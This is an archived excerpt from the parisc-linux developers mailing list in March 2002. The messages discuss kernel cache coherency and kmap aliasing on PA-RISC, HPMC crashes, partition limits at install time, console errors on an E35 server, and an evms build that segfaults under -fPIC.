Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Gururaj Ananthateerta <gururaj@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 19:32:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC144485F
	for <parisc-linux@parisc-linux.org>; Tue, 12 Mar 2002 19:32:46 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16kyYz-0003tE-00; Wed, 13 Mar 2002 02:32:25 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3C8E976F.68EEFE04@cup.hp.com>; from gururaj@cup.hp.com on Tue, Mar 12, 2002 at 04:03:59PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14327

On Tue, Mar 12, 2002 at 04:03:59PM -0800, Gururaj Ananthateerta wrote:
> well, this whole exercise was to contribute to parisc linux developement.
> well I got something to work on then.  Can u help me with sime jumpstarters.

sure.  here's the plan i had.  you may disagree...

The architecture guarantees us that pages which are mapped at the same
address, modulo 4MB, will be cache coherent.  We already take advantage
of this (see get_shared_area in arch/parisc/kernel/sys_parisc.c, called
via arch_get_unmapped_area from the mmap path).  So all user mappings of a
page are coherent.  What isn't coherent is the kernel's view of the page.

Before the kernel accesses a page which is in the page cache (all pages
which can be mmaped live in the page cache), it calls kmap() and after
it has finished accessing this page, it calls kunmap().  This scheme was
invented for the benefit of architectures which support more physical
memory then it has address lines for (eg PAE36 on x86).

So if we reserve a large chunk of the kernel's address space to map
page cache pages into temporarily with kmap, we can provide the kernel
with a coherent view of the page.  Superdome only supports 128GB ram,
so by reserving a 128TB chunk of address space (hey, we have plenty of
address space..)  we give each 4k page a 4MB space to be mapped in.

The obvious way to do it, which I've described to everyone up until
now is to do something like:

void *kmap(struct *page) {
	struct vm_area_struct *vma = page->mapping->i_mmap_shared;
	if (!vma)
		return page->virtual;
	return (void *) ((unsigned long) page->virtual << 10 | vma->vm_pgoff);
}

But I wonder whether it might not be feasible to simply adjust
page->virtual when changing the mapping of a page into userspace.
Something to investigate further.

This is the easy part of the solution.  The part I haven't even attempted
to describe is, what if we get a TLB miss?  See the assembly code for the
TLB miss handler in arch/parisc/kernel/entry.S, starting at dtlb_miss_20w:
You'd probably want to modify dtlb_check_alias_20w to check for this case
rather than insert a huge number of TLB entries.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Wed, 13 Mar 2002 02:47:19 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <20020313024719.N30538@parcelfarce.linux.theplanet.co.uk>
References: <3C8E5DCD.942E6278@cup.hp.com> <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8520.EC6877E3@cup.hp.com> <20020312225858.A979E38556@carmen.fc.hp.com> <3C8E8A6F.2AD5761C@cup.hp.com> <20020312234838.K30538@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020313014206.75AA54851@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621154 4673 80.91.229.3 (22 Nov 2014 01:52:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:34 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	parisc <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 19:47:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B4454868
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 19:47:20 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16kynP-0004I2-00; Wed, 13 Mar 2002 02:47:19 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020313014206.75AA54851@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Tue, Mar 12, 2002 at 06:42:06PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14328

On Tue, Mar 12, 2002 at 06:42:06PM -0700, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > The kernel has its own mappings for pages so it can take advantage of
> > 16MB pages.  These are not coherent with the pages that are mapped into
> > user space. 
> 
> And this would cause an HPMC?

Yes, indirectly, see below.

> If someone could decode the Gururaj's HPMC data ("ser pim" from BCH prompt)
> and post the results.  At worst, it would confirm this theory.

Yes, that would certainly help.  As I said, it is only a theory...

> Sorry, I'm not VM clueful enough to understand why this would be a
> problem on N-class and not other boxes.  I know coherency works differently
> here (Merced Bus is "central" vs Runway for most other boxes).
> Someplace to look for more clues?

It's not to do with the bus (AFAIK...).  It's to do with Stretch (the
memory controller).  We've got away with using non-equivalent aliases (see
the PA 2.0 book [1]) up until now, but it seems that Stretch doesn't let
us get away with it any more.  So we have to be sure to use equivalent
aliases when accessing a page.  It's been suggested to me that Stretch
has its own tags for a page and if it gets writes to different tags on
the same physical page, it generates an HPMC.

[1] I would have given a reference here, but
http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,959,00.html
gives me a Redirection Limit exceeded error... hopefully this will get
fixed soon.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Switch console error.
Date: Tue, 12 Mar 2002 19:56:01 -0800
Lines: 20
Approved: news@gmane.org
Message-ID: <20020313035601.GL730@tausq.org>
References: <20020312201309.H30538@parcelfarce.linux.theplanet.co.uk> <3C8E6704.81F14945@cup.hp.com> <20020312204919.I30538@parcelfarce.linux.theplanet.co.uk> <3C8E8520.EC6877E3@cup.hp.com> <20020312225858.A979E38556@carmen.fc.hp.com> <3C8E8A6F.2AD5761C@cup.hp.com> <20020312234838.K30538@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020313014206.75AA54851@dsl2.external.hp.com> <20020313024719.N30538@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621154 4678 80.91.229.3 (22 Nov 2014 01:52:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:34 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc <parisc-linux@lists.parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 20:56:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 706EE486E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 20:56:13 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id umwylaaa for parisc-linux@lists.parisc-linux.org; Tue, 12 Mar 2002 20:55:43 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16kzrt-0004lS-00; Tue, 12 Mar 2002 19:56:01 -0800
Content-Disposition: inline
In-Reply-To: <20020313024719.N30538@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14329

> [1] I would have given a reference here, but
> http://h21007.www2.hp.com/dspp/tech/tech_TechDocumentDetailPage_IDX/1,1701,959,00.html
> gives me a Redirection Limit exceeded error... hopefully this will get
> fixed soon.

until it gets fixed, you can get the PDF version

it's in appendix F, in the dead-tree book format it's on page F-5.
Here's the PDF:

http://h21007.www2.hp.com/dspp/files/unprotected/parisc20/PA_F_TLB_cache.pdf

not that i know what it means after i read the section... :-)

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@riverrock.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new vmlinux!!!
Date: Tue, 12 Mar 2002 11:16:38 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <m16kqpC-000KyQC@phantom.home>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain> <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk> <20011005233602.A13826@dogbert.localdomain> <3C8D3619.519A601C@cup.hp.com>  <20020312172445.B11A64849@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621155 4681 80.91.229.3 (22 Nov 2014 01:52:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:35 +0000 (UTC)
Cc: Gururaj Ananthateerta <gururaj@cup.hp.com>,
	parisc <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 21:26:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id C51F9486B
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 21:26:37 -0700 (MST)
Original-Received: from phantom.home (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id VAA07662;
	Tue, 12 Mar 2002 21:23:01 -0700
X-Authentication-Warning: www.riverrock.org: Host bame.riverrock.org [199.254.238.240] claimed to be phantom.home
Original-Received: from riverrock.org (really [127.0.0.1]) by riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m16kqpC-000KyQC@phantom.home> (Debian Smail3.2.0.114)
	Tue, 12 Mar 2002 11:16:38 -0700 (MST) 
In-Reply-To: Your message of "Tue, 12 Mar 2002 10:24:45 MST."
             <20020312172445.B11A64849@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14330

> Gururaj Ananthateerta wrote:
> > I have 3 partitions on primary disk
> >    Device Boot    Start       End    Blocks   Id  System
> > /dev/sda1             1        95     97264   f0  Linux/PA-RISC boot
> > /dev/sda2            96       339    249856   82  Linux swap
> > /dev/sda3           340      8683   8544256   83  Linux
> 
> partitions are fine.

Actually they're not.  This is a frequent install problem and I've
replied off the list about it.  The root partition passes the 2G limit
and Gururaj now has a small /boot I think.

	-P



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Gururaj Ananthateerta <gururaj@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new vmlinux!!!
Date: Tue, 12 Mar 2002 20:29:57 -0800
Organization: Hewlett Packard
Lines: 27
Approved: news@gmane.org
Message-ID: <3C8ED5C5.A0E78DC3@cup.hp.com>
References: <20011001175425.A31305@dogbert.localdomain> <Pine.NEB.4.33.0110021434430.24166-100000@www2.scram.de> <20011005222028.A13585@dogbert.localdomain> <20011005215600.B3745@parcelfarce.linux.theplanet.co.uk> <20011005233602.A13826@dogbert.localdomain> <3C8D3619.519A601C@cup.hp.com>  <20020312172445.B11A64849@dsl2.external.hp.com> <m16kqpC-000KyQC@phantom.home>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621155 4683 80.91.229.3 (22 Nov 2014 01:52:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:35 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc <parisc-linux@lists.parisc-linux.org>
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 12 21:30:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245])
	by dsl2.external.hp.com (Postfix) with ESMTP id AC7714873
	for <parisc-linux@lists.parisc-linux.org>; Tue, 12 Mar 2002 21:30:17 -0700 (MST)
Original-Received: from hpindda.cup.hp.com (hpindda.cup.hp.com [15.13.95.92])
	by palrel10.hp.com (Postfix) with ESMTP
	id 0A8A9C0021F; Tue, 12 Mar 2002 20:30:17 -0800 (PST)
Original-Received: from cup.hp.com (maverick.cup.hp.com [15.13.105.84])
	by hpindda.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id UAA09459;
	Tue, 12 Mar 2002 20:30:03 -0800 (PST)
X-Mailer: Mozilla 4.73 [en] (X11; I; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14331

Paul Bame wrote:

> > Gururaj Ananthateerta wrote:
> > > I have 3 partitions on primary disk
> > >    Device Boot    Start       End    Blocks   Id  System
> > > /dev/sda1             1        95     97264   f0  Linux/PA-RISC boot
> > > /dev/sda2            96       339    249856   82  Linux swap
> > > /dev/sda3           340      8683   8544256   83  Linux
> >
> > partitions are fine.
>
> Actually they're not.  This is a frequent install problem and I've
> replied off the list about it.  The root partition passes the 2G limit
> and Gururaj now has a small /boot I think.
>

>         -P

yes you are right,
thanks
grant clarified this in his previous mail.







From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dreeling, Michael" <michael.dreeling@marconi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] E35 816 Server & PA/Linux
Date: Wed, 13 Mar 2002 06:27:56 -0500
Lines: 21
Approved: news@gmane.org
Message-ID: <0725120622E7D411AEF70020485A6B0CD71AF5@dl-msgusr-01.eu.fore.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416621155 4686 80.91.229.3 (22 Nov 2014 01:52:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:35 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 04:27:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6])
	by dsl2.external.hp.com (Postfix) with ESMTP id E66CC485D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 04:27:41 -0700 (MST)
Original-Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA23469
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 06:27:34 -0500 (EST)
Original-Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id GAA29083
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 06:27:35 -0500 (EST)
Original-Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <GPX7YV19>; Wed, 13 Mar 2002 06:27:34 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14332

Hi People,
I've got a newly acquired E35 816 Server which i'm trying to stick PA-Linux
onto.
Unfortunately i get this old error, which i have seen many people have
problems with.

Loading ramdisk 1946807 bytes @ 03e14000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

I had seen on the site that someone had an E35 up and running (in the
Hardware Database)
but i also know that the E Series are officially unsupported. I tried the
0.93 (latest) Version from the 50MB ISO.
Is there any way i can get parisc lunix onto this Box??

Thanks
Michael



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] evms-0.9.2 build utilities problem
Date: Wed, 13 Mar 2002 15:36:40 +0100 (CET)
Lines: 31
Approved: news@gmane.org
Message-ID: <1016030200.3c8f63f89a0ff@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621156 4688 80.91.229.3 (22 Nov 2014 01:52:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 07:35:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B6CD4832
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 07:35:48 -0700 (MST)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16l9rs-0001M6-00
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 15:36:40 +0100
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14333

Hi all,

The original way to build some evms utilities as evms_devnode_fixup is:

...
gcc -Wall -fPIC -O2 -I/tools/evms-dpkg/evms-0.9.2/engine/include
-I/tools/evms-dpkg/evms-0.9.2/engine/dlist
-I/tools/evms-dpkg/evms-0.9.2/kernel-headers/include -I/usr/include
-I/usr/local/include -DPluginDirectory=\"/lib/evms\" -DEVMS_DEBUG -DPARANOID
-DMAJOR_VERSION=1 -DMINOR_VERSION=0 -DPATCH_LEVEL=0 -DVERSION=\"1.0.0\"
-DDATE=\"03/13/02\" -c -o evms_devnode_fixup.o evms_devnode_fixup.c
...
gcc -L/tools/evms-dpkg/evms-0.9.2/engine/Engine
-L/tools/evms-dpkg/evms-0.9.2/engine/dlist  -static -o evms_devnode_fixup
evms_devnode_fixup.o -levms -ldlist -lpthread -ldl

...
Well launch it made an immidiate Segmentation fault.

Now I recompile without "-fPIC" and it works fine.

Any idea on what is wrong?

Thanks in advance for help,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms-0.9.2 build utilities problem
Date: Wed, 13 Mar 2002 10:23:35 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20020313182335.GD6580@tausq.org>
References: <1016030200.3c8f63f89a0ff@webmail.tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621156 4694 80.91.229.3 (22 Nov 2014 01:52:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar 13 11:24:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 786974837
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Mar 2002 11:24:02 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id owczlaaa for parisc-linux@lists.parisc-linux.org; Wed, 13 Mar 2002 11:23:24 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16lDPT-0005ai-00; Wed, 13 Mar 2002 10:23:35 -0800
Content-Disposition: inline
In-Reply-To: <1016030200.3c8f63f89a0ff@webmail.tiscali.be>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14334

> Well launch it made an immidiate Segmentation fault.
> 
> Now I recompile without "-fPIC" and it works fine.
> 
> Any idea on what is wrong?

what versions of gcc-3.0 and binutils are you running?

dpkg -s gcc-3.0 |grep Version
dpkg -s binutils |grep Version

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
